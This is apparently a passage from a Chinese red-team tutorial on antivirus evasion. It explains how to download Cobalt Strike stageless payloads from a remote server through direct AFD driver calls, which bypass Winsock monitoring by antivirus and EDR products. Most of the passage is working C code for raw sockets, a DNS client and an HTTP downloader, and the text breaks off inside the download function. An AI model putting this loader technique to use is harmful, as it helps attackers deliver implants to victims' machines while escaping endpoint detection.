​ 这是红队免杀培训的第二章,后续会继续推出红队免杀培训的一些小tips,等后面把这系列更完了,大家把所有的技术点窜起来一起用,那就是乱杀,上一章说了如何避免申请可执行内存块,执行shellcode,这一章将讲如何使用系统调用下载恶意载荷。

前言:

​ 从杀软的行为分析来看,就拿cs的通信协议来讲,stage 的载荷在行为上是明显比stageless载荷多很多的,其中不免一些通信协议的特征,分析过的都知道,stage只是个前置载荷,后续会下更大的功能更全的载荷,因为之前做免杀卡巴的时候就注意到了,静态全免,但是在下回来更大的载荷的时候爆毒了,后面分析,卡巴对cs的通信协议进行拦截,从云沙箱的检测来看,stage 爆毒数明显是比stageless多的。

​ 所以我个人建议,为了彻底过静态(加载器和shellcode分离的方式),把stageless放在远程服务器,甚至可以小心机一点,把载荷分成几个小的stageless加密起来,然后在内存中重组就行,那么涉及到通信协议,我们如何吧stageless下载回本地,根据现在的主流看法,http协议和https协议是最适合的,因为更贴近正常的用户使用的协议,不过考虑到杀软和edr对windows api的监控,所以这里采用系统调用的方式来实现http通信功能。

原理和准备:

Winsock是一种能使Windows程序通过任意网络传输协议发送数据的API,windows 的API 一般是由更底层的api或多个api封装而成的函数接口,我们要绕过windsock 直接与 AFD 驱动程序进行通信的话,我们就需要探查Winsock中具体哪些函数api是起到作用的,

我们发现,通过NtCreateFile和NtDeviceIoControlFile就能直接与 AFD 驱动程序进行通信。

1.首先通信需要创建一个socket,我们调用NtCreateFile来打开\Device\Afd\Endpoint对象,socket属性(地址族、协议类型等)是使用数据结构体来指定的,该结构作为“扩展属性”传递给NtCreateFile 函数。

创建socket示例代码:(ipv4 TCP):

DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct *pSocketData)
{IO_STATUS_BLOCK IoStatusBlock;HANDLE hEvent = NULL;HANDLE hSocket = NULL;OBJECT_ATTRIBUTES ObjectAttributes;NTSockets_SocketDataStruct SocketData;UNICODE_STRING ObjectFilePath;DWORD dwStatus = 0;BYTE bExtendedAttributes[] ={0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE};//创建状态事件hEvent = CreateEvent(NULL, 0, 0, NULL);if(hEvent == NULL){return 1;}//设置 afd 端点路径memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));ObjectFilePath.Buffer = L"\\Device\\Afd\\Endpoint";ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);ObjectFilePath.MaximumLength = ObjectFilePath.Length;// 初始化对象属性memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));ObjectAttributes.Length = sizeof(ObjectAttributes);ObjectAttributes.ObjectName = &ObjectFilePath;ObjectAttributes.Attributes = 0x40;// 创建套接字句柄IoStatusBlock.Status = 0;IoStatusBlock.Information = NULL;dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));if(dwStatus != 0){CloseHandle(hEvent);return 1;}// 初始化 SocketData 对象memset((void*)&SocketData, 0, sizeof(SocketData));SocketData.hSocket = hSocket;SocketData.hStatusEvent = hEvent;// 存储套接字数据memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));return 0;
}

2.有了socket,该使用NtDeviceIoControlFile与 AFD 驱动程序进行通信:

WORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct *pSocketData, DWORD dwIoControlCode, BYTE *pData, DWORD dwLength, DWORD *pdwOutputInformation)
{IO_STATUS_BLOCK IoStatusBlock;DWORD dwStatus = 0;BYTE bOutputBlock[0x10];// 重置状态事件ResetEvent(pSocketData->hStatusEvent);// 发送设备控制请求IoStatusBlock.Status = 0;IoStatusBlock.Information = NULL;dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));if(dwStatus == STATUS_PENDING){// 响应挂起 - 等待事件if(WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0){return 1;}// 完成 - 获取最终状态码dwStatus = IoStatusBlock.Status;}// 检查错误if(dwStatus != 0){return 1;}if(pdwOutputInformation != NULL){// 存储输出信息*pdwOutputInformation = (DWORD)IoStatusBlock.Information;}return 0;
}

3.使用相应的dwIoControlCode值调用NTSockets_SocketDriverMsg来执行我们想要执行的操作 - 连接、发送、接收等,如果事件对象返回一个挂起的状态代码,则等待函数完成,完成后,我们可以使用CloseHandle(或NtClose)关闭socket。

例如关闭socket的函数代码示例:

DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct *pSocketData)
{CloseHandle(pSocketData->hSocket);CloseHandle(pSocketData->hStatusEvent);return 0;
}

一个正常socket通信还需要以下功能

NTSockets_CreateTcpSocket - 创建 TCP 套接字(相当于socket())
NTSockets_ConvertIP - 将 IP 字符串转换为二进制地址(相当于to inet_addr () )
NTSockets_Swap16BitByteOrder - 将 16 位整数转换为/从网络字节顺序(相当于htons() / ntohs())
NTSockets_Connect - 连接到远程主机(相当于connect())
NTSockets_Send - 将数据发送到套接字(相当于发送()- 注意:在发送完所有字节后,该函数不会返回)
NTSockets_Recv - 从套接字接收请求的字节数(相当于recv() - 注意:在接收到所有字节之前,该函数不会返回)
NTSockets_CloseSocket - 关闭套接字(相当于closesocket() )

实际代码示例:

#include <stdio.h>
#include <windows.h>
struct IO_STATUS_BLOCK
{union{DWORD Status;PVOID Pointer;};DWORD* Information;
};
struct UNICODE_STRING
{USHORT Length;USHORT MaximumLength;PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{ULONG Length;HANDLE RootDirectory;UNICODE_STRING* ObjectName;ULONG Attributes;PVOID SecurityDescriptor;PVOID SecurityQualityOfService;
};
struct NTSockets_ConnectDataStruct
{DWORD dwUnknown1;DWORD dwUnknown2;DWORD dwUnknown3;sockaddr_in SockAddr;
};
struct NTSockets_BindDataStruct
{DWORD dwUnknown1;sockaddr_in SockAddr;
};struct NTSockets_DataBufferStruct
{DWORD dwDataLength;BYTE* pData;
};struct NTSockets_SendRecvDataStruct
{NTSockets_DataBufferStruct* pBufferList;DWORD dwBufferCount;DWORD dwUnknown1;DWORD dwUnknown2;
};struct NTSockets_SocketDataStruct
{HANDLE hSocket;HANDLE hStatusEvent;
};struct DNSClient_HeaderStruct
{WORD wTransID;WORD wFlags;WORD wQuestionCount;WORD wAnswerRecordCount;WORD wAuthorityRecordCount;WORD wAdditionalRecordCount;
};struct DNSClient_RequestQueryDetailsStruct
{WORD wType;WORD wClass;
};struct DNSClient_ResponseAnswerHeaderStruct
{WORD wName;WORD wType;WORD wClass;WORD wTTL[2];WORD wLength;
};DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct* pSocketData)
{IO_STATUS_BLOCK IoStatusBlock;HANDLE hEvent = NULL;HANDLE hSocket = NULL;OBJECT_ATTRIBUTES ObjectAttributes;NTSockets_SocketDataStruct SocketData;UNICODE_STRING ObjectFilePath;DWORD dwStatus = 0;BYTE bExtendedAttributes[] ={0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE};// 创建状态事件hEvent = CreateEvent(NULL, 0, 0, NULL);if (hEvent == NULL){return 1;}// 设置 afd 端点路径memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));ObjectFilePath.Buffer = (PWSTR)"\\Device\\Afd\\Endpoint";ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);ObjectFilePath.MaximumLength = ObjectFilePath.Length;// 初始化对象属性memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));ObjectAttributes.Length = sizeof(ObjectAttributes);ObjectAttributes.ObjectName = &ObjectFilePath;ObjectAttributes.Attributes = 0x40;// 创建套接字句柄IoStatusBlock.Status = 0;IoStatusBlock.Information = NULL;dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));if (dwStatus != 0){CloseHandle(hEvent);return 1;}// 初始化 SocketData 对象memset((void*)&SocketData, 0, sizeof(SocketData));SocketData.hSocket = hSocket;SocketData.hStatusEvent = hEvent;// 存储套接字数据memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));return 0;
}DWORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct* pSocketData, DWORD dwIoControlCode, BYTE* pData, DWORD dwLength, DWORD* pdwOutputInformation)
{IO_STATUS_BLOCK IoStatusBlock;DWORD dwStatus = 0;BYTE bOutputBlock[0x10];// 重置状态事件ResetEvent(pSocketData->hStatusEvent);//发送设备控制请求IoStatusBlock.Status = 0;IoStatusBlock.Information = NULL;dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));if (dwStatus == STATUS_PENDING){// 响应挂起 - 等待事件if (WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0){return 1;}// 完成 - 获取最终状态码dwStatus = IoStatusBlock.Status;}if (dwStatus != 0){return 1;}if (pdwOutputInformation != NULL){// 存储输出信息*pdwOutputInformation = (DWORD)IoStatusBlock.Information;}return 0;
}DWORD NTSockets_ConvertIP(char* pIP, DWORD* pdwAddr)
{char szCurrOctet[8];DWORD dwCurrOctetIndex = 0;DWORD dwCompletedOctetCount = 0;char* pCurrByte = NULL;DWORD dwEndOfOctet = 0;DWORD dwEndOfString = 0;DWORD dwOctet = 0;BYTE bOctets[4];DWORD dwAddr = 0;// 读取 IP 字符串memset(szCurrOctet, 0, sizeof(szCurrOctet));dwCurrOctetIndex = 0;pCurrByte = pIP;for (;;){// 处理当前字符dwEndOfOctet = 0;if (*pCurrByte == '\0'){//字符串结尾dwEndOfOctet = 1;dwEndOfString = 1;}else if (*pCurrByte == '.'){// 八进制结束dwEndOfOctet = 1;}else{// 确保这个字符是一个数字if (*pCurrByte >= '0' && *pCurrByte <= '9'){if (dwCurrOctetIndex > 2){// 无效IPreturn 1;}// 存储当前字符szCurrOctet[dwCurrOctetIndex] = *pCurrByte;dwCurrOctetIndex++;}else{return 1;}}// 检查当前八位字节是否完整if (dwEndOfOctet != 0){if (dwCurrOctetIndex == 0){return 1;}// 将八位字节字符串转换为整数dwOctet = atoi(szCurrOctet);if (dwOctet > 255){// invalid ipreturn 1;}// 已经读了 4 个八位字节if (dwCompletedOctetCount >= 4){return 1;}// 存储当前八位字节bOctets[dwCompletedOctetCount] = (BYTE)dwOctet;// 当前八位字节完成dwCompletedOctetCount++;if (dwEndOfString != 0){break;}//重置 szCurrOctet 字符串memset(szCurrOctet, 0, sizeof(szCurrOctet));dwCurrOctetIndex = 0;}// 移动到下一个字符pCurrByte++;}// 确保找到 4 个八位字节if (dwCompletedOctetCount != 4){return 1;}memcpy((void*)&dwAddr, bOctets, 4);*pdwAddr = dwAddr;return 0;
}WORD NTSockets_Swap16BitByteOrder(WORD wValue)
{WORD wNewValue = 0;// 交换字节顺序——假设我们在基于 x86 上运行*(BYTE*)((DWORD)&wNewValue + 0) = *(BYTE*)((DWORD)&wValue + 1);*(BYTE*)((DWORD)&wNewValue + 1) = *(BYTE*)((DWORD)&wValue + 0);return wNewValue;
}DWORD NTSockets_Connect(NTSockets_SocketDataStruct* pSocketData, char* pIP, WORD wPort)
{NTSockets_BindDataStruct NTSockets_BindData;NTSockets_ConnectDataStruct NTSockets_ConnectData;WORD wConnectPort = 0;DWORD dwConnectAddr = 0;// 绑定到本地端口memset((void*)&NTSockets_BindData, 0, sizeof(NTSockets_BindData));NTSockets_BindData.dwUnknown1 = 2;NTSockets_BindData.SockAddr.sin_family = AF_INET;NTSockets_BindData.SockAddr.sin_addr.s_addr = INADDR_ANY;NTSockets_BindData.SockAddr.sin_port = 0;if (NTSockets_SocketDriverMsg(pSocketData, 0x00012003, (BYTE*)&NTSockets_BindData, sizeof(NTSockets_BindData), NULL) != 0){return 1;}// 读取连接ipif (NTSockets_ConvertIP(pIP, &dwConnectAddr) != 0){return 1;}// 对连接端口使用网络字节顺序wConnectPort = NTSockets_Swap16BitByteOrder(wPort);// 连接到远程端口memset((void*)&NTSockets_ConnectData, 0, sizeof(NTSockets_ConnectData));NTSockets_ConnectData.dwUnknown1 = 0;NTSockets_ConnectData.dwUnknown2 = 0;NTSockets_ConnectData.dwUnknown3 = 0;NTSockets_ConnectData.SockAddr.sin_family = AF_INET;NTSockets_ConnectData.SockAddr.sin_addr.s_addr = dwConnectAddr;NTSockets_ConnectData.SockAddr.sin_port = wConnectPort;if (NTSockets_SocketDriverMsg(pSocketData, 0x00012007, (BYTE*)&NTSockets_ConnectData, sizeof(NTSockets_ConnectData), NULL) != 0){return 1;}return 0;
}DWORD NTSockets_Send(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{NTSockets_SendRecvDataStruct NTSockets_SendRecvData;NTSockets_DataBufferStruct NTSockets_DataBuffer;DWORD dwBytesSent = 0;BYTE* pCurrSendPtr = NULL;DWORD dwBytesRemaining = 0;// 设置初始值pCurrSendPtr = pData;dwBytesRemaining = dwLength;// 发送数据for (;;){if (dwBytesRemaining == 0){break;}// 设置数据缓冲区值memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;NTSockets_DataBuffer.pData = pCurrSendPtr;// 发送当前块memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;NTSockets_SendRecvData.dwBufferCount = 1;NTSockets_SendRecvData.dwUnknown1 = 0;NTSockets_SendRecvData.dwUnknown2 = 0;if (NTSockets_SocketDriverMsg(pSocketData, 0x0001201F, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesSent) != 0){return 1;}if (dwBytesSent == 0){// 套接字断开连接return 1;}pCurrSendPtr += dwBytesSent;dwBytesRemaining -= dwBytesSent;}return 0;
}DWORD NTSockets_Recv(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{NTSockets_SendRecvDataStruct NTSockets_SendRecvData;NTSockets_DataBufferStruct NTSockets_DataBuffer;DWORD dwBytesReceived = 0;BYTE* pCurrRecvPtr = NULL;DWORD dwBytesRemaining = 0;//设置初始值pCurrRecvPtr = pData;dwBytesRemaining = dwLength;//发送数据for (;;){if (dwBytesRemaining == 0){break;}// 设置数据缓冲区值memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;NTSockets_DataBuffer.pData = pCurrRecvPtr;// 接收当前块memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;NTSockets_SendRecvData.dwBufferCount = 1;NTSockets_SendRecvData.dwUnknown1 = 0;NTSockets_SendRecvData.dwUnknown2 = 0x20;if (NTSockets_SocketDriverMsg(pSocketData, 0x00012017, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesReceived) != 0){return 1;}if (dwBytesReceived == 0){// 套接字断开连接return 1;}pCurrRecvPtr += dwBytesReceived;dwBytesRemaining -= dwBytesReceived;}return 0;
}DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct* pSocketData)
{CloseHandle(pSocketData->hSocket);CloseHandle(pSocketData->hStatusEvent);return 0;
}DWORD DNSClient_Query(char* pDNSClient_IP, char* pTargetHost, char* pOutput, DWORD dwOutputMaxLength)
{NTSockets_SocketDataStruct SocketData;DNSClient_HeaderStruct DNSClient_RequestHeader;DNSClient_RequestQueryDetailsStruct DNSClient_RequestQueryDetails;DNSClient_HeaderStruct* pDNSClient_ResponseHeader = NULL;DNSClient_ResponseAnswerHeaderStruct* pDNSClient_ResponseAnswerHeader = NULL;DWORD dwIpAddrIndex = 0;DWORD dwFoundRecord = 0;DWORD dwCurrAnswerEntryStartIndex = 0;DWORD dwHostLength = 0;DWORD dwCurrLabelLength = 0;WORD wRequestLength = 0;WORD wResponseLength = 0;WORD wBlockLength = 0;WORD wAnswerCount = 0;BYTE bIP[4];BYTE bResponseBuffer[4096];char szConvertedHost[1024];char* pCurrDot = NULL;char szIP[32];// 将目标主机名转换为 dns 格式memset(szConvertedHost, 0, sizeof(szConvertedHost));_snprintf(szConvertedHost, sizeof(szConvertedHost) - 1, ".%s", pTargetHost);dwHostLength = strlen(szConvertedHost) + 1;for (DWORD i = 0; i < dwHostLength; i++){// 处理域标签if (szConvertedHost[i] == '.' || szConvertedHost[i] == '\0'){// 检查是否存在先前的分隔符if (pCurrDot != NULL){// 计算当前标签长度dwCurrLabelLength = (DWORD)(&szConvertedHost[i] - pCurrDot);dwCurrLabelLength--;if (dwCurrLabelLength == 0 || dwCurrLabelLength >= 64){return 1;}//插入标签长度*pCurrDot = (char)dwCurrLabelLength;}// 存储当前点位置pCurrDot = &szConvertedHost[i];}}// 创建套接字句柄if (NTSockets_CreateTcpSocket(&SocketData) != 0){return 1;}// 连接到 DNS 服务器if (NTSockets_Connect(&SocketData, pDNSClient_IP, 53) != 0){NTSockets_CloseSocket(&SocketData);return 1;}//计算请求长度wRequestLength = sizeof(DNSClient_HeaderStruct) + dwHostLength + sizeof(DNSClient_RequestQueryDetails);wBlockLength = NTSockets_Swap16BitByteOrder(wRequestLength);// 设置请求头详细信息memset((void*)&DNSClient_RequestHeader, 0, sizeof(DNSClient_RequestHeader));DNSClient_RequestHeader.wTransID = NTSockets_Swap16BitByteOrder(1);DNSClient_RequestHeader.wFlags = NTSockets_Swap16BitByteOrder(0x100);DNSClient_RequestHeader.wQuestionCount = NTSockets_Swap16BitByteOrder(1);// A 类 DNS 请求memset((void*)&DNSClient_RequestQueryDetails, 0, sizeof(DNSClient_RequestQueryDetails));DNSClient_RequestQueryDetails.wType = NTSockets_Swap16BitByteOrder(1);DNSClient_RequestQueryDetails.wClass = NTSockets_Swap16BitByteOrder(1);// 发送请求长度if (NTSockets_Send(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0){NTSockets_CloseSocket(&SocketData);return 1;}// 发送请求头if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestHeader, sizeof(DNSClient_RequestHeader)) != 0){NTSockets_CloseSocket(&SocketData);return 1;}//发送主机名if (NTSockets_Send(&SocketData, (BYTE*)szConvertedHost, dwHostLength) != 0){NTSockets_CloseSocket(&SocketData);return 1;}// 发送主机查询详情if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestQueryDetails, sizeof(DNSClient_RequestQueryDetails)) != 0){NTSockets_CloseSocket(&SocketData);return 1;}//接收响应长度if (NTSockets_Recv(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0){NTSockets_CloseSocket(&SocketData);return 1;}// 交换字节顺序wResponseLength = NTSockets_Swap16BitByteOrder(wBlockLength);// 验证响应长度if (wResponseLength < sizeof(DNSClient_HeaderStruct) || wResponseLength > sizeof(bResponseBuffer)){NTSockets_CloseSocket(&SocketData);return 1;}// 接收响应数据memset((void*)bResponseBuffer, 0, sizeof(bResponseBuffer));if (NTSockets_Recv(&SocketData, bResponseBuffer, wResponseLength) != 0){NTSockets_CloseSocket(&SocketData);return 1;}//设置响应头 ptrpDNSClient_ResponseHeader = (DNSClient_HeaderStruct*)bResponseBuffer;//检查标志(期望响应,没有错误)if (pDNSClient_ResponseHeader->wFlags != NTSockets_Swap16BitByteOrder(0x8180)){// errorNTSockets_CloseSocket(&SocketData);return 1;}// 验证问题计数if (pDNSClient_ResponseHeader->wQuestionCount != NTSockets_Swap16BitByteOrder(1)){// errorNTSockets_CloseSocket(&SocketData);return 1;}// 获取响应答案计数wAnswerCount = NTSockets_Swap16BitByteOrder(pDNSClient_ResponseHeader->wAnswerRecordCount);// 阅读 DNS 响应答案dwCurrAnswerEntryStartIndex = wRequestLength;for (int i = 0; i < (DWORD)wAnswerCount; i++){// 验证开始索引if ((dwCurrAnswerEntryStartIndex + sizeof(DNSClient_ResponseAnswerHeaderStruct)) > (DWORD)wResponseLength){// errorNTSockets_CloseSocket(&SocketData);return 1;}// 获取当前响应答案标题 ptrpDNSClient_ResponseAnswerHeader = (DNSClient_ResponseAnswerHeaderStruct*)&bResponseBuffer[dwCurrAnswerEntryStartIndex];//检查这是否是 A 类记录if (pDNSClient_ResponseAnswerHeader->wType == NTSockets_Swap16BitByteOrder(1) && pDNSClient_ResponseAnswerHeader->wClass == NTSockets_Swap16BitByteOrder(1)){// 确保值长度为 4(ipv4 地址)if (pDNSClient_ResponseAnswerHeader->wLength != NTSockets_Swap16BitByteOrder(4)){NTSockets_CloseSocket(&SocketData);return 1;}// 验证 ip 地址索引dwIpAddrIndex = dwCurrAnswerEntryStartIndex + sizeof(DNSClient_ResponseAnswerHeaderStruct);if ((dwIpAddrIndex + 4) > (DWORD)wResponseLength){NTSockets_CloseSocket(&SocketData);return 1;}// 存储IP地址memcpy((void*)bIP, (void*)&bResponseBuffer[dwIpAddrIndex], 4);dwFoundRecord = 1;break;}else{// 检查下一个条目dwCurrAnswerEntryStartIndex += sizeof(DNSClient_ResponseAnswerHeaderStruct);dwCurrAnswerEntryStartIndex += NTSockets_Swap16BitByteOrder(pDNSClient_ResponseAnswerHeader->wLength);}}// 关闭套接字NTSockets_CloseSocket(&SocketData);// 确保找到有效记录if (dwFoundRecord == 0){return 1;}//生成IP字符串memset(szIP, 0, sizeof(szIP));_snprintf(szIP, sizeof(szIP) - 1, "%u.%u.%u.%u", bIP[0], bIP[1], bIP[2], bIP[3]);// 存储值strncpy(pOutput, szIP, dwOutputMaxLength);return 0;
}DWORD DownloadFile(char* pURL, BYTE** pOutput, DWORD* pdwOutputLength)
{char szProtocol[16];char szHostName[256];char szRequestHeader[2048];char szResponseHeader[2048];char* pStartOfHostName = NULL;char* pEndOfHostName = NULL;char* pRequestPath = NULL;DWORD dwAddr = 0;char* pHostNamePort = NULL;DWORD dwPort = 0;char szResolvedIP[32];NTSockets_SocketDataStruct SocketData;DWORD dwFoundEndOfResponseHeader = 0;char szEndOfResponseHeader[8];char szResponseSuccessStatus[32];char szContentLengthParamName[16];char* pContentLength = NULL;char* pEndOfContentLength = NULL;DWORD dwOutputLength = 0;DWORD dwOutputAllocLength = 0;BYTE* pOutputBuffer = NULL;BYTE* pNewOutputBuffer = NULL;BYTE bCurrByte = 0;//确保网址以“http://”开头memset(szProtocol, 0, sizeof(szProtocol));strncpy(szProtocol, "http://", sizeof(szProtocol) - 1);if (strncmp(pURL, szProtocol, strlen(szProtocol)) != 0){printf("Error: Invalid protocol\n");return 1;}// 复制主机名pStartOfHostName = pURL;pStartOfHostName += strlen(szProtocol);memset(szHostName, 0, sizeof(szHostName));strncpy(szHostName, pStartOfHostName, sizeof(szHostName) - 1);// 从主机名中删除请求路径pEndOfHostName = strstr(szHostName, "/");if (pEndOfHostName == NULL){printf("Error: Invalid URL\n");return 1;}*pEndOfHostName = '\0';// 检查主机名是否包含自定义端口号pHostNamePort = strstr(szHostName, ":");if (pHostNamePort == NULL){// 未指定端口 - 使用端口 80dwPort = 80;}else{// 终止字符串*pHostNamePort = '\0';// 提取端口号pHostNamePort++;dwPort = atoi(pHostNamePort);if (dwPort == 0){printf("Error: Invalid URL\n");return 1;}}// 获取请求路径的开始pRequestPath = pStartOfHostName;pRequestPath += strlen(szHostName);// 检查主机名是否是有效的 ipv4 地址memset(szResolvedIP, 0, sizeof(szResolvedIP));if (NTSockets_ConvertIP(szHostName, &dwAddr) != 0){// 不是 ipv4 - 尝试使用 DNS 解析主机if (DNSClient_Query((char *)"114.114.114.114", szHostName, szResolvedIP, sizeof(szResolvedIP) - 1) != 0){// errorprintf("Error: Failed to resolve host name\n");return 1;}}else{// 复制原始ipstrncpy(szResolvedIP, szHostName, sizeof(szResolvedIP) - 1);}// 创建套接字句柄if (NTSockets_CreateTcpSocket(&SocketData) != 0){// errorprintf("Error: Failed to create TCP socket\n");return 1;}// 连接到服务器if (NTSockets_Connect(&SocketData, szResolvedIP, (WORD)dwPort) != 0){printf("Error: Failed to connect to server\n");NTSockets_CloseSocket(&SocketData);return 1;}// 发送 HTTP 请求memset(szRequestHeader, 0, sizeof(szRequestHeader));_snprintf(szRequestHeader, sizeof(szRequestHeader) - 1, "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n", pRequestPath, szHostName);if (NTSockets_Send(&SocketData, (BYTE*)szRequestHeader, strlen(szRequestHeader)) != 0){printf("Error: Failed to send data to server\n");NTSockets_CloseSocket(&SocketData);return 1;}printf("Sent HTTP request:\n%s", szRequestHeader);// 获取响应头memset(szEndOfResponseHeader, 0, sizeof(szEndOfResponseHeader));strncpy(szEndOfResponseHeader, "\r\n\r\n", sizeof(szEndOfResponseHeader) - 1);memset(szResponseHeader, 0, sizeof(szResponseHeader));for (DWORD i = 0; i < sizeof(szResponseHeader) - 1; i++){// 获取下一个字节if (NTSockets_Recv(&SocketData, (BYTE*)&szResponseHeader[i], 1) != 0){printf("Error: Failed to read HTTP response header\n");NTSockets_CloseSocket(&SocketData);return 1;}// 检查这是否是响应头的结尾if ((i + 1) >= strlen(szEndOfResponseHeader)){if (strncmp(&szResponseHeader[(i + 1) - strlen(szEndOfResponseHeader)], szEndOfResponseHeader, strlen(szEndOfResponseHeader)) == 0){// 找到响应头的结尾dwFoundEndOfResponseHeader = 1;break;}}}// 确保找到响应头的结尾if (dwFoundEndOfResponseHeader == 0){printf("Error: Failed to read HTTP response header\n");NTSockets_CloseSocket(&SocketData);return 1;}printf("Received HTTP response:\n%s", szResponseHeader);// 将响应头转换为大写(用于下面的内容长度值搜索for (int i = 0; i < strlen(szResponseHeader); i++){// convert to upper-case (for the content-length value search below)szResponseHeader[i] = toupper(szResponseHeader[i]);}// 检查状态码memset(szResponseSuccessStatus, 0, sizeof(szResponseSuccessStatus));strncpy(szResponseSuccessStatus, "HTTP/1.0 200 OK\r\n", sizeof(szResponseSuccessStatus) - 1);if (strncmp(szResponseHeader, szResponseSuccessStatus, strlen(szResponseSuccessStatus)) != 0){// errorprintf("Error: Invalid response status code\n");NTSockets_CloseSocket(&SocketData);return 1;}// 获取内容长度值memset(szContentLengthParamName, 0, sizeof(szContentLengthParamName));strncpy(szContentLengthParamName, "CONTENT-LENGTH: ", sizeof(szContentLengthParamName) - 1);pContentLength = strstr(szResponseHeader, szContentLengthParamName);if (pContentLength != NULL){// 内容长度字段存在pContentLength += strlen(szContentLengthParamName);pEndOfContentLength = strstr(pContentLength, "\r\n");if (pEndOfContentLength == NULL){// errorprintf("Error: Invalid response header\n");NTSockets_CloseSocket(&SocketData);return 1;}*pEndOfContentLength = '\0';dwOutputLength = atoi(pContentLength);// 处理响应数据if (dwOutputLength != 0){// 分配输出数据pOutputBuffer = (BYTE*)malloc(dwOutputLength);if (pOutputBuffer == NULL){// errorprintf("Error: Failed to allocate memory\n");NTSockets_CloseSocket(&SocketData);return 1;}// 读取输出数据if (NTSockets_Recv(&SocketData, pOutputBuffer, dwOutputLength) != 0){// errorprintf("Error: Failed to read HTTP response data\n");NTSockets_CloseSocket(&SocketData);return 1;}}}else{// 没有内容长度字段 - 读取直到套接字关闭for (;;){//读取输出数据if (NTSockets_Recv(&SocketData, &bCurrByte, 1) != 0){// finishedbreak;}// 检查输出缓冲区是否足够大if (dwOutputLength >= dwOutputAllocLength){// 重新分配输出缓冲区 - 添加 8kbdwOutputAllocLength += 8192;if (pOutputBuffer == NULL){// first bufferpOutputBuffer = (BYTE*)malloc(dwOutputAllocLength);if (pOutputBuffer == NULL){printf("Error: Failed to allocate memory\n");NTSockets_CloseSocket(&SocketData);return 1;}}else{// 重新分配现有缓冲区pNewOutputBuffer = (BYTE*)realloc(pOutputBuffer, dwOutputAllocLength);if (pNewOutputBuffer == 